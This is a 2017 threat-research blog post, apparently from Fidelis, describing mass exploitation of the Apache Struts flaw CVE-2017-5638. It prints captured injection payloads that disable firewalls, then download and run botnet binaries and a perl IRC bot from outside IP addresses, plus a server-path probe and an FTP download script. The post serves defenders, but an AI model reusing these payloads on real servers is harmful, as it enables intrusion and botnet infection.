Saturday, March 11, 2017

WIDESPREAD EXPLOITATION ATTEMPTS USING CVE-2017-5638

Many research teams have reported on their observations of exploits involving the use of the Apache Struts vulnerability CVE-2017-5638 since Cisco Talos published their post on Wednesday March 8. Fidelis Cybersecurity Threat Research is also seeing widespread activity and contrary to some reporting, we're not seeing any reduction in scanning over the course of the day.

Apache Struts 2 is an open-source development framework for Java web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model–view–controller (MVC) architecture. Apache Struts2 is used to build websites by a wide variety of organizations. Even as the patch was made available earlier in the week, it's a fair assumption that a large number of systems are yet to be updated.

This post captures some of the exploit code we're seeing. Our expectation is that we'll build on the post as more implementations are discovered.

Impact

The activity is very reminiscent of Shellshock, in that Apache Struts is open source, mature, widely deployed and often embedded in other packages, both commercial and open-source. Many environments only discover the presence of these packages when they discover exploited systems.

We have two general observations around the activity we've seen:

1. Mass scanners are typically trying to install downloaders that lead to Windows and Linux versions of DDoS software, typically the BillGates Botnet.
2. There is more targeted activity clearly going on, often involving reconnaissance of some nature.

Observed Exploits

Building off the original proof-of-concept code

Numerous botnets are adapting code from the proof-of-concept code that was published earlier this week. In each of these instances, there is an attempt to immediately disable firewall functionality followed by the download and immediate execution of a binary.

Update 3/17:

```
(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c
http://121.42.249.245:1996/xhx;chmod 777
xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds
=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
```

```
#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c
http://58.221.58.113:8080/v9;chmod 777
v9;./v9;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(
#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})
```

```
(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c
http://222.186.134.221:8080/64;chmod 777
64;./64;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=
(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
```

```
(#cmd='wget -qO - http://65.254.63.20/.jb | perl ; cd /tmp ; curl -O http://65.254.63.20/.jb ;
fetch http://65.254.63.20/.jb ; perl .jb ;rm -rf
.jb*').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cm
ds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
```

Note: .jb is a perl irc bot pretty common with shellshock as well usually used for bitcoin mining or ddos

```
(#cmd='echo
"Struts2045"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('wi
n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds))
```

Original Implementations

1. In this one, it looks like the code is printing the root path directory from the exploited server

```
(#res.getWriter().print('xfdir:')).(#res.getWriter().println(#req.getSession().getServletContext().getRealPa
th('/'))).(#res.getWriter().print('xfdir:')).(#res.getWriter().flush()).(#res.getWriter().close()
```

2. We don't have a good theory for this one other than it represents test code that could eventually be adapted

```
echo Open 127.0.0.1 21>C:\Ftp.bat&&echo 123>>C:\Ftp.bat&&echo 123>>C:\Ftp.bat&&echo
Binary>>C:\Ftp.bat&&echo Get 1.exe C:\setup.exe>>C:\Ftp.bat&&echo Bye>>C:\Ftp.bat&&echo Ftp.exe
-s:C:\Ftp.bat>C:\Ftp.bat&&echo C:\setup.exe>>C:\Ftp.bat&&echo del C:\Ftp.bat>>C:\Ftp.bat&&echo del
C:\Ftp.bat>>C:\Ftp.bat&&C:\Ftp.bat'
```

Conclusion

The wave of threat activity involving CVE-2017-5638 is only just beginning and we're seeing variants that diverge from the original proof-of-concept code starting to emerge. As we see more activity, we intend to share these observations with the community by updating this post.

Posted by ThreatGeek at 07:44 AM in advanced malw are, malw are detection | Permalink